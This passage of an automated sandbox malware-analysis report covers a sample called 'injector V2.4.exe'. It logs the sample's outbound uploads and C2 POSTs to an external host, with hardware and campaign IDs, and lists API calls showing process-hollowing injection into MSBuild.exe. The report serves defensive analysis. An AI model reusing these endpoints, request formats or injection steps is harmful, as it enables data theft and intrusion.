name="hwid"C16B99DACE32E567C8852029FBE145BA--Z4LE82AH15EL844SF6XContent-Disposition: form-data; name="pid"1--Z4LE82AH15EL844SF6XContent-Disposition: form-data; name="lid"yau6Na--12
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 38 2a 6f 2c b7 f2 1a 4d 4c 0d 31 d8 28 de b3 eb e9 5f a5 9b 60 12 8c 4e 74 9e a5 46 7a c6 f2 6d c3 dd 39 90 86 a2 94 bf c9 22 2e 0c 5f 8e 2e ad c9 0f 94 9a 0b 60 bf d0 5e 11 07 ef 94 5b aa 8d 9a 96 a2 bf e3 ce f9 99 3d 51 8c 97 dd fa 25 4b 4e f1 96 bd b1 e3 69 fe 96 56 8f c7 7d 5f 81 45 1d c9 84 ee 1f c2 28 03 b3 d1 2a fe 85 22 a9 71 59 89 c2 34 4b 17 e8 52 aa 64 dc 5a 26 8b 32 24 7a a9 22 71 3c 23 82 64 6d da ee 2b 5b f1 a8 16 96 90 94 dc ce 50 8e 84 85 12 bd 59 b3 d3 bb 05 c1 b2 10 23 99 5a 74 1a 17 68 8f a6 96 6c 75 3a 3e 4d ae f4 78 8e 87 bd a0 0a 11 a9 b4 4f 10 3d 46 9a 95 1e 05 a5 4e 38 33 74 f1 2c 91 e6 cb 07 99 0e b0 23 77 91 5d a7 80 5a e5 07 f4 25 91 ad 9d 68 78 4e bb 15 30 8b 42 2a f9 50 a0 be f4 58 91 15 6c bd 65 e4 2a 64 b7 76 4f aa e9 39 d3 Data Ascii: 8o,ML1(_`NtFzm9"._.`^[=Q%KNiV}_E("qY4KRdZ&2$z"q<#dm+[PY#Zthlu:>MxO=FN83t,#w]Z%hxN0BPXledvO9
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 49 3e 76 33 af 37 71 9f 9f cf cf 0f af 6f 68 b1 ef 71 b5 eb 0d 08 ae da 8b 32 86 f5 cd 8c 87 f9 10 df bc f4 fc 95 19 ab 81 50 7e 62 50 a0 15 cd 21 5b b5 5b 8b cf 53 92 3c f4 2b b5 19 92 67 c8 ff 79 44 1c 55 ad d0 90 78 60 20 50 17 af 2e 29 77 c1 3a 53 a8 3a 3c fc e0 38 ad 71 dd 34 21 73 be 8b cd 34 ac 50 fb 66 68 3d f3 22 4d 64 5c 96 fb 7a 1b f1 96 91 2e ee a0 6d 42 eb a5 07 af 95 bd 48 bd 84 43 23 f5 d6 35 27 ab 4f 23 b2 7f c3 a2 ab e2 af a6 b2 5b fe 1b 03 ae f4 14 87 80 d9 82 49 cd 2e bb 47 bc 6f 95 1c d7 bb 6c 03 4f 94 e0 39 e0 37 f0 7d eb 2f de cf 7f b3 da e6 b9 cc ea 65 db a1 8d 0b 77 3b 2f ba bc 76 e4 35 89 fc 70 0b 76 0f d8 a8 b4 5f bf a4 eb ce 9d 0f 5a 52 6f ff f9 a7 0a 9a ae 0a d2 42 19 85 c2 15 86 10 75 e2 d1 67 fd e7 86 dc b5 9d 32 9c 25 c0 42 Data Ascii: I>v37qohq2P~bP![[S<+gyDUx` P.)w:S:<8q4!s4Pfh="Md\z.mBHC#5'O#[I.GolO97}/ew;/v5pv_ZRoBug2%B
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 5d b1 a1 73 22 ca f1 51 47 85 df e1 ad e0 9c 64 1e c0 94 ba c4 12 08 ba 6c 30 78 01 f5 20 6c 31 17 c3 95 02 4c ff 99 ca 8a 14 f6 5b 21 14 8a 5b e2 95 ed df 49 74 80 c3 03 fd 54 3e ef 15 48 7d 4d 21 74 2f 1a c9 d9 a9 15 87 dd 20 46 9d 39 2f 3a 42 7b f7 af 89 d9 7b b7 be 7a 14 01 90 15 bd ba 64 d2 94 23 26 95 ba d1 8c ee 4b b3 48 75 22 8e 22 0b fe 4f 8f 90 ff 76 f7 a7 fe bd b2 4b ff 17 84 80 a3 69 90 d6 44 88 79 2d 01 64 7b 7a 72 3c fd 40 bd eb 8e 83 af 42 02 9b fd d0 e4 07 b0 ab 58 b4 34 bc d9 29 b0 78 17 90 3d ad c0 e8 fc 67 bf fe c8 56 cc 7a 18 58 93 e4 0a 2b 2d da 01 f8 cb e0 bb e1 4a ef f5 87 55 95 bf e7 2e e7 e9 79 b7 a3 cf 0b 60 4b ac d4 18 c9 86 40 81 40 f3 38 29 a8 9d a3 31 95 d1 13 9f c3 78 d5 e1 a4 8b a6 a5 59 20 a9 e6 c5 96 4d e1 f4 60 0d 5c 50 Data Ascii: ]s"QGdl0x l1L[![ItT>H}M!t/ F9/:B{{zd#&KHu""OvKiDy-d{zr<@BX4)x=gVzX+-JU.y`K@@8)1xY M`\P
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 75 15 1c 33 18 eb bc 17 bb b6 8f 54 d6 64 41 46 58 39 18 12 60 e3 06 4d 5b 83 9e 3c a2 f4 b6 e9 8c 09 ec 3f 31 67 55 4c 1d c5 9c cb 8b da 95 14 42 c3 9f a3 b8 0a 5a f6 0a 55 79 5f 4b 95 86 b5 bb df 36 91 14 38 5b 7a f3 e3 48 39 12 eb e3 e7 b7 1f 12 6a e8 34 e6 5e c3 41 d0 c6 56 52 71 93 23 84 86 b0 d0 0a 7e 15 ac 13 b3 f7 92 68 8f ed b7 b1 87 53 50 95 fc c3 84 17 f9 cd ef ea e7 ae 2f 84 c7 5e eb 3b 10 d4 86 cf 8b 0a df 01 d4 43 e9 49 c2 ae ce a9 3e 42 e7 00 f2 c8 ab 94 07 93 51 e4 68 2f e8 9d 42 02 20 0c 40 7e fb 7b ff 36 1e 88 5a 3d 8a 93 16 6e c8 d8 d5 5c 17 c6 cf 2f c5 fe 25 2e a6 80 15 39 40 5f 0e 6c 15 aa da 84 4b 3d 3f be 36 2c 67 c4 b1 1e dd 88 a8 70 51 08 e5 07 3f 3d 64 6e b4 9c c6 c2 de 7f 3c 8f 56 39 a5 28 b4 d4 45 f2 03 8b 45 e0 9f 9b d6 6c 79 Data Ascii: u3TdAFX9`M[<?1gULBZUy_K68[zH9j4^AVRq#~hSP/^;CI>BQh/B @~{6Z=n\/%.9@_lK=?6,gpQ?=dn<V9(EEly
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 40 c5 2d 6a 2c f3 73 5b 37 2a 60 4c 18 b1 6e 21 34 10 92 8e 81 29 5c 08 5b 6d c3 78 df 37 34 0a f4 2f 8d 71 24 2d e8 32 40 5f eb cf be 63 86 cd 32 da bc 86 a5 1f 18 f0 69 83 f9 f3 8d eb c2 86 3f 55 f2 43 04 af e8 14 36 ab 09 76 96 ce f7 47 c6 18 9e 47 f6 f3 ba a4 37 14 f8 7c ce ca 71 97 0e 43 b5 f5 9b 26 a8 44 81 f9 f9 5b c2 d3 5f 01 3d fe d3 7c e9 0d 76 3a a0 94 42 70 a6 f7 11 e4 e6 11 5e 61 0e df 06 7a f5 73 2d 16 8e f5 db 72 e2 b5 cf 95 fe c9 46 07 8a c0 68 35 52 a8 80 91 56 5c 75 c6 b7 79 0b 16 5c d9 f0 3f 2d 0d 29 49 20 44 26 f1 db 37 17 10 7c e2 a7 45 be 13 c7 77 52 aa 01 41 f1 ea c6 f3 01 59 f8 17 1a d8 43 83 58 40 96 95 f8 46 a2 8b 41 74 8b 73 02 69 38 b0 07 a5 f0 fb 10 dd 8b 40 d8 ef 09 ca 6e 20 f9 a2 53 03 01 1f ff 03 ef da 7b e5 cb 79 27 ac 2b Data Ascii: @-j,s[7*`Ln!4)\[mx74/q$-2@_c2i?UC6vGG7\|qC&D[_=\|v:Bp^azs-rFh5RV\uy\?-)I D&7\|EwRAYCX@FAtsi8@n S{y'+
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 2d 9e f3 cb b0 cc b3 b0 31 bd 84 38 85 7d fb fa 94 e1 5a d4 6b 5b b9 85 1d bd 85 ec 74 66 87 4a 97 01 a8 dd 58 fd a3 08 a2 56 52 15 7f f0 42 9a 56 9e 95 84 ac af 05 fe c9 a6 d0 42 c6 5a fc 78 dc 8d 1f ad d4 d5 f2 f3 68 ea 00 cf 97 67 bb 5c 11 9e ad a4 47 ac d9 73 21 66 2d f3 c8 d2 bf 87 8f 2c ad b3 a8 86 af 7a fb 43 3e 86 b7 03 a7 56 6e 8d 37 47 ff ea e8 7f 53 5b 59 63 80 71 f7 48 c8 4a bf 1c 10 07 5e 9e ff b7 22 54 db 90 cf eb b6 a8 ff d9 93 b2 16 67 bf ba bd f3 49 e4 56 4d 7b a0 42 52 86 95 e9 de 25 27 a6 c3 97 90 3a 26 f8 d4 06 25 d4 d1 64 ac b3 80 c0 e5 de a8 d2 5d a4 96 6f e8 97 ff ff 5a c1 e0 e0 cd 55 a3 57 40 5b 3c 5d 1c 64 49 a3 95 f4 c1 31 6c 71 5b a9 86 c8 b7 fb 70 c4 d1 79 83 08 ee 56 07 1c 24 b9 7e d2 48 5b 06 c0 93 eb bf d4 eb bd 85 28 5a d1 Data Ascii: -18}Zk[tfJXVRBVBZxhg\Gs!f-,zC>Vn7GS[YcqHJ^"TgIVM{BR%':&%d]oZUW@[<]dI1lq[pyV$~H[(Z
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 9f 97 13 39 12 73 80 7c 18 4f f3 15 de 7b 00 17 97 68 0f 12 5a ee d3 d2 c4 eb 67 5f fe e6 b8 6c d4 9a ac fc ae 3d 29 e1 1c 04 1d 23 7d d8 dd 55 f7 23 b1 0b ab c4 a4 3d 59 54 6c 76 90 6f fc e3 7f b2 51 e0 35 ab 6b 6f b1 73 26 c7 c7 ff 2c 4d bd f3 a8 34 71 4c fd 69 d5 18 79 ad 6a 4b 7c 41 6c cc ab 02 06 2c 4a e3 d9 76 f1 8a e9 a4 be f4 7e f3 27 1f 14 c6 fc f3 34 c4 2d de fd 6a 9d 1c 0f a7 c6 0f 52 be 5b 9e 7b 52 1e 24 2b 7e ac 2e 23 88 70 ca c1 ab ea 17 c9 43 63 67 66 21 36 20 fe fd 4f c8 e7 49 98 83 b8 39 18 05 3c a5 e9 75 0d 4e ce 19 d5 96 e2 60 7a 1b af 65 4f 7c 98 60 7f 6c 30 71 51 ee 37 34 77 34 a4 3c 0f 08 46 14 d6 72 ec bf 11 4e ab 1a 61 e5 de dc 72 29 a8 0d 42 12 4d 6c f4 58 7f a1 fe ca 44 97 45 d0 14 e2 97 a7 ed 8e 0f 12 a6 7e c1 47 4a f7 b4 8f 3e Data Ascii: 9s\|O{hZg_l=)#}U#=YTlvoQ5kos&,M4qLiyjK\|Al,Jv~'4-jR[{R$+~.#pCcgf!6 OI9<uN`zeO\|`l0qQ74w4<FrNar)BMlXDE~GJ>
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 23 b6 05 71 de 5d 01 69 99 64 2d fe 4f 83 d4 1a 83 70 a7 53 ac 0e 54 6e 53 07 d9 d7 1b 37 d6 fe 76 9e a3 35 a7 97 78 d0 d2 44 dc 71 98 30 76 f2 31 79 6d c8 b2 f4 c8 a6 3f 88 87 34 e9 76 7e 6d 4a 13 51 7a f1 40 b5 99 fb ea b6 65 f2 24 34 0f 66 08 42 4a 97 2c df 9f 84 e2 d7 ac 61 53 9e bf f1 74 93 ab 6e 67 8e a9 be 4b 42 6a ca d3 ea 04 f9 9f 96 f5 a7 a4 2f 92 ae 55 7f a8 52 9d 71 1d b1 55 22 f0 eb fa 49 69 50 76 1e 15 65 11 65 69 66 ed ac e9 a9 66 99 a1 83 3b 34 ba df 32 96 b1 09 64 07 60 e5 95 6a 03 76 b7 3c bd 16 2c 0a 92 e3 a4 a3 2c 62 63 c2 6b 77 47 b4 a6 f7 46 42 99 2b c1 ff f3 7a 88 ec 7f bf 5e 32 bd dd ff 40 1c 64 e1 30 ff 9f 03 34 45 a6 db 62 e1 7b b1 f9 0a a7 3b af 59 7f 8e df 24 53 35 41 ad a6 96 a0 6d 8f ed 92 53 8d b6 7f 8f 55 32 a2 7f 1f e2 48 Data Ascii: #q]id-OpSTnS7v5xDq0v1ym?4v~mJQz@e$4fBJ,aStngKBj/URqU"IiPveeiff;42d`jv<,,bckwGFB+z^2@d04Eb{;Y$S5AmSU2H
2024-11-23 13:11:25 UTC	15331	OUT	Data Raw: 25 65 a1 4f 2a c6 2a b7 ad a6 94 b8 26 6c 7b 79 93 b5 19 d2 22 2e 11 66 08 a2 8d 93 a3 c6 88 e9 4c 7c f6 c8 e1 79 80 68 04 7c 5c 1a d9 10 29 4b f1 4c 41 db c5 65 f6 3e 8d 26 55 9b 51 34 d8 34 a7 0f 86 8a 7d 1e 38 09 b3 54 d3 f0 13 8e 80 69 db a5 06 6b ec bc fc c7 0c 5a 92 26 c8 80 0b 5b 93 33 0f 32 33 83 b8 f7 fe f5 76 6a b4 88 74 60 a4 63 e3 9f 6e 94 fa bc 3a aa b0 11 d3 f0 a4 ca e7 84 fc e4 fb 15 bf 2d 54 f3 5a a6 18 f4 d7 97 6a 55 f9 a5 f2 bd c2 6f be 54 63 ff 23 0c bc 39 68 51 5a a2 43 81 c3 4f c7 fb 92 d9 e9 51 e6 5d b2 52 97 bb ab ad 08 7a 4d c6 60 94 88 99 28 3c 74 2a cf d0 3d ee 7d dd 59 5a 4f a1 e9 c7 5a 38 e8 2c 6d ab f8 a6 7f 79 3f 16 b3 78 70 f0 af 0a 3f 09 2a 69 78 48 95 6e 1b 13 bb 46 f9 6c b4 5e ef 60 d8 92 59 f5 1e 95 e9 03 9f c2 21 d4 c5 Data Ascii: %eO*&l{y".fL\|yh\|\)KLAe>&UQ44}8TikZ&[323vjt`cn:-TZjUoTc#9hQZCOQ]RzM`(<t=}YZOZ8,my?xp?*ixHnFl^`Y!
2024-11-23 13:11:28 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:11:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=57m0plrjd09c1c9godfoq3ks1m; expires=Wed, 19-Mar-2025 06:58:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L%2B2UNUtnmrkFuvre19B6LFphASun%2B0Bi1KkzP0tSZYb1jrKNseVukykq55wsoy4JQK1V25xGd5VGhA5RWYcKu8kVNIrW7qmZq0omVahxtVaFz7DAqIH3E%2BTuJUZk%2BBI0HF3ZNME%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7167b1e9e4c425-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&sent=337&recv=518&lost=0&retrans=0&sent_bytes=2845&recv_bytes=553684&delivery_rate=1760096&cwnd=239&unsent_bytes=0&cid=af4e44fbfce289bb&ts=2940&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49725	104.21.33.116	443	6564	C:\Users\user\Desktop\injector V2.4.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 13:11:30 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: property-imper.sbs
2024-11-23 13:11:30 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 31 32 38 35 30 32 35 37 30 35 26 6a 3d 26 68 77 69 64 3d 43 31 36 42 39 39 44 41 43 45 33 32 45 35 36 37 43 38 38 35 32 30 32 39 46 42 45 31 34 35 42 41 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--1285025705&j=&hwid=C16B99DACE32E567C8852029FBE145BA
2024-11-23 13:11:30 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 13:11:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6mefi20bo3f0d9jlrgo37aco71; expires=Wed, 19-Mar-2025 06:58:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AnkfBs%2BwTq6TzRb9%2BBEtShFLhJT9KxcDM8y1qbsfe%2FdIQYZ23d6Jk07PDrkzuyRr0RrPKGKxwOSt35ymQoKRHU4%2FdWPF%2FcrL0sACQZQrrpAmMfUfbBjnH3SzsOGd3ZYKwXrGcJI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7167ceff264396-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=1688837&cwnd=252&unsent_bytes=0&cid=8a8bd6eaeca7ff2b&ts=718&x=0"
2024-11-23 13:11:30 UTC	54	IN	Data Raw: 33 30 0d 0a 49 42 4b 68 51 65 52 31 69 45 54 2b 62 78 56 56 35 36 30 66 63 69 6f 44 56 4d 41 76 62 6a 44 71 41 44 38 59 37 39 66 30 4d 4e 42 37 54 77 3d 3d 0d 0a Data Ascii: 30IBKhQeR1iET+bxVV560fcioDVMAvbjDqAD8Y79f0MNB7Tw==
2024-11-23 13:11:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:11:08
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\injector V2.4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\injector V2.4.exe"
Imagebase:	0x4c0000
File size:	491'520 bytes
MD5 hash:	C1B5CAE419A07B5BFEB4E958510F8637
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:11:08
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:11:09
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\injector V2.4.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\injector V2.4.exe"
Imagebase:	0x4c0000
File size:	491'520 bytes
MD5 hash:	C1B5CAE419A07B5BFEB4E958510F8637
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:11:09
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\injector V2.4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\injector V2.4.exe"
Imagebase:	0x4c0000
File size:	491'520 bytes
MD5 hash:	C1B5CAE419A07B5BFEB4E958510F8637
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7.5%
Total number of Nodes:	1908
Total number of Limit Nodes:	27

Executed Functions

Function 004EB18D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,004EB0FF,004EB0EF), ref: 004EB323
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 004EB336
Wow64GetThreadContext.KERNEL32(0000011C,00000000), ref: 004EB354
ReadProcessMemory.KERNELBASE(000000A0,?,004EB143,00000004,00000000), ref: 004EB378
VirtualAllocEx.KERNELBASE(000000A0,?,?,00003000,00000040), ref: 004EB3A3
TerminateProcess.KERNELBASE(000000A0,00000000), ref: 004EB3C2
WriteProcessMemory.KERNELBASE(000000A0,00000000,?,?,00000000,?), ref: 004EB3FB
WriteProcessMemory.KERNELBASE(000000A0,00400000,?,?,00000000,?,00000028), ref: 004EB446
WriteProcessMemory.KERNELBASE(000000A0,?,?,00000004,00000000), ref: 004EB484
Wow64SetThreadContext.KERNEL32(0000011C,02920000), ref: 004EB4C0
ResumeThread.KERNELBASE(0000011C), ref: 004EB4CF

Strings

VirtualAlloc, xrefs: 004EB252
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 004EB322
Load, xrefs: 004EB1C9
GetP, xrefs: 004EB20D
VirtualAllocEx, xrefs: 004EB28B
SetThreadContext, xrefs: 004EB2B1
ress, xrefs: 004EB215
CreateProcessW, xrefs: 004EB23F
WriteProcessMemory, xrefs: 004EB29E
aryA, xrefs: 004EB1D1
ReadProcessMemory, xrefs: 004EB278
GetThreadContext, xrefs: 004EB265
ResumeThread, xrefs: 004EB2C7
TerminateProcess, xrefs: 004EB3B2

Memory Dump Source

Source File: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 8e965c0d0fbd983e95a0c6786bd7d60b23694cf586befc0b94a0fb7eb28d7a24
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 99B1197260068AAFDB60CF69CC80BDA73A5FF88714F158165EA0CAB341C774FA51CB94

Function 004CCD10 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eacb0baa0fdf5f4db7b2764c197758ff7dffe98b3254b1ea64d6df4af6b7dcf9
Instruction ID: 731e80ddab730671c8ae62ebb3be650f870f128c935bf3be077edf86f53e2b40
Opcode Fuzzy Hash: eacb0baa0fdf5f4db7b2764c197758ff7dffe98b3254b1ea64d6df4af6b7dcf9
Instruction Fuzzy Hash: FE0119B49043088FC754DF69C885BD9F7F0EB18714F0084AEA88897341EB78AA84CF85

Function 004D9DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,D6656D70,?,004D9EE2,?,?,00000000), ref: 004D9E94

Strings

api-ms-, xrefs: 004D9E2A
ext-ms-, xrefs: 004D9E3E

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 784992709298733552a353899b95bcfff69b19da19033d57fbe89209a363e8f7
Instruction ID: 770c9fc93d4b33e05b572e2e27c8f03cf20dc6b0374f12672536b81e51122f32
Opcode Fuzzy Hash: 784992709298733552a353899b95bcfff69b19da19033d57fbe89209a363e8f7
Instruction Fuzzy Hash: 96212731A00251ABCB21DB21DC94B5B7358EF82B60F250127ED06EB3D2DB38ED02C6D8

Function 004CBEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 004CBF10

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3536fc21cf7a3ec60ef729b291672ba0e5707c527c16d558f72690ee54cd9564
Instruction ID: 486876cd5dbb12a582dd7b38d0c0038bdb39ef043afc23a3380d6a9311272e3e
Opcode Fuzzy Hash: 3536fc21cf7a3ec60ef729b291672ba0e5707c527c16d558f72690ee54cd9564
Instruction Fuzzy Hash: 10714CB8904209CFCB44DFA9D594BAEBBF0EB48700F10855EE845AB350DB389D458F9A

Function 004D6CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00016E00,00000000,?,?), ref: 004D6D2F
GetLastError.KERNEL32(?,00000000,00000000,?,004D3BEA), ref: 004D6D3B
__dosmaperr.LIBCMT ref: 004D6D42

Memory Dump Source

Source File: 00000000.00000002.2088703704.00000000004C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000000.00000002.2088658811.00000000004C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088772977.00000000004E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088796026.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088821535.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088834500.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2088848581.00000000004F1000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4c0000_injector V2.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 671a1a9124d23dac7a19ac55deee75347cd589bbf1990514c53e2e9c5bb3c4ee
Instruction ID: 6ca29a4b13ff27ffb78271c0f38d993317b6e08df52ac0d90018455851b75c18
Opcode Fuzzy Hash: 671a1a9124d23dac7a19ac55deee75347cd589bbf1990514c53e2e9c5bb3c4ee
Instruction Fuzzy Hash: 6B019272604209AFCF159FA1EC25AEF3BA6EF40358F12405BF80196390DB78DD10DB98

